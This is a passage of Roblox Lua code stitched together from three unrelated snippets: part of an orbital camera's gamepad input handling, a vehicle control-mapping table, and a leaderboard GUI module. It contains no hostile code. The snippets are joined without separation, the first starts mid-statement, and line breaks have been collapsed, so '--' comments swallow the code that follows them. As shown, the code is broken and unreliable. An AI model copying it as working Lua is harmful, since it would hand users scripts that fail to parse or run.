Enum.KeyCode.ButtonL3 elseif (state == Enum.UserInputState.End) then if (input.KeyCode == Enum.KeyCode.ButtonR3) then self.r3ButtonDown = false elseif (input.KeyCode == Enum.KeyCode.ButtonL3) then self.l3ButtonDown = false end if (not self.r3ButtonDown) and (not self.l3ButtonDown) then self.gamepadDollySpeedMultiplier = 1.00 end end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function OrbitalCamera:BindGamepadInputActions() self:BindAction("OrbitalCamGamepadPan", function(name, state, input) return self:GetGamepadPan(name, state, input) end, false, Enum.KeyCode.Thumbstick2) self:BindAction("OrbitalCamGamepadZoom", function(name, state, input) return self:DoGamepadZoom(name, state, input) end, false, Enum.KeyCode.ButtonR3, Enum.KeyCode.ButtonL3) end
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.F1 , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
-- Leaderboard table
local leaderboard = {} local _table = false function leaderboard.new() local self = script.Parent:WaitForChild("Table") function leaderboard.AddRow(player) -- Only add row for player if it does not exist if self:FindFirstChild(player.Name) then return end local row = Instance.new("Frame") row.Name = player.Name row.Size = UDim2.new(1, 0, 0, 28) row.BackgroundColor3 = Color3.new(255/255, 179/255, 71/255) row.BorderSizePixel = 0 row.Parent = self local column1 = Instance.new("TextLabel") column1.Name = "Username" column1.Size = UDim2.new(0.6, 0, 0.8, 0) column1.Position = UDim2.new(0.05, 0,0.1, 0) column1.BackgroundTransparency = 1 column1.TextColor3 = Color3.new(1, 1, 1) column1.TextScaled = true column1.TextXAlignment = Enum.TextXAlignment.Left column1.TextYAlignment = Enum.TextYAlignment.Center column1.Text = player.Name column1.Parent = row local column2 = Instance.new("TextLabel") column2.Name = "Points" column2.Size = UDim2.new(0.25, 0, 0.8, 0) column2.Position = UDim2.new(0.7, 0,0.1, 0) column2.BackgroundTransparency = 1 column2.TextColor3 = Color3.new(1, 1, 1) column2.TextScaled = true column2.TextXAlignment = Enum.TextXAlignment.Right column2.TextYAlignment = Enum.TextYAlignment.Center column2.Text = 0 column2.Parent = row -- Listen for point value changes and update leaderboard local leaderstats = player:WaitForChild("CustomLeaderstats") local points = leaderstats:WaitForChild("Points") points.Changed:Connect(function() column2.Text = points.Value column2.LayoutOrder = points.Value end) end function leaderboard.DeleteRow(player) local rowToDelete = self:FindFirstChild(player.Name) if rowToDelete then rowToDelete:Destroy() return true else return false end end function leaderboard.Populate() local playerList = Players:GetChildren() for i, player in pairs (playerList) do leaderboard.AddRow(player) end end function leaderboard.Resize(child) -- Size of table should be # of children - 2 to account to UIListLayout and this script local size = #self:GetChildren() - 2 self.CanvasSize = UDim2.new(0,0,size,0) end -- Signals Players.PlayerAdded:Connect(leaderboard.AddRow) Players.PlayerRemoving:Connect(leaderboard.DeleteRow) self.ChildAdded:Connect(leaderboard.Resize) self.ChildRemoved:Connect(leaderboard.Resize) return leaderboard end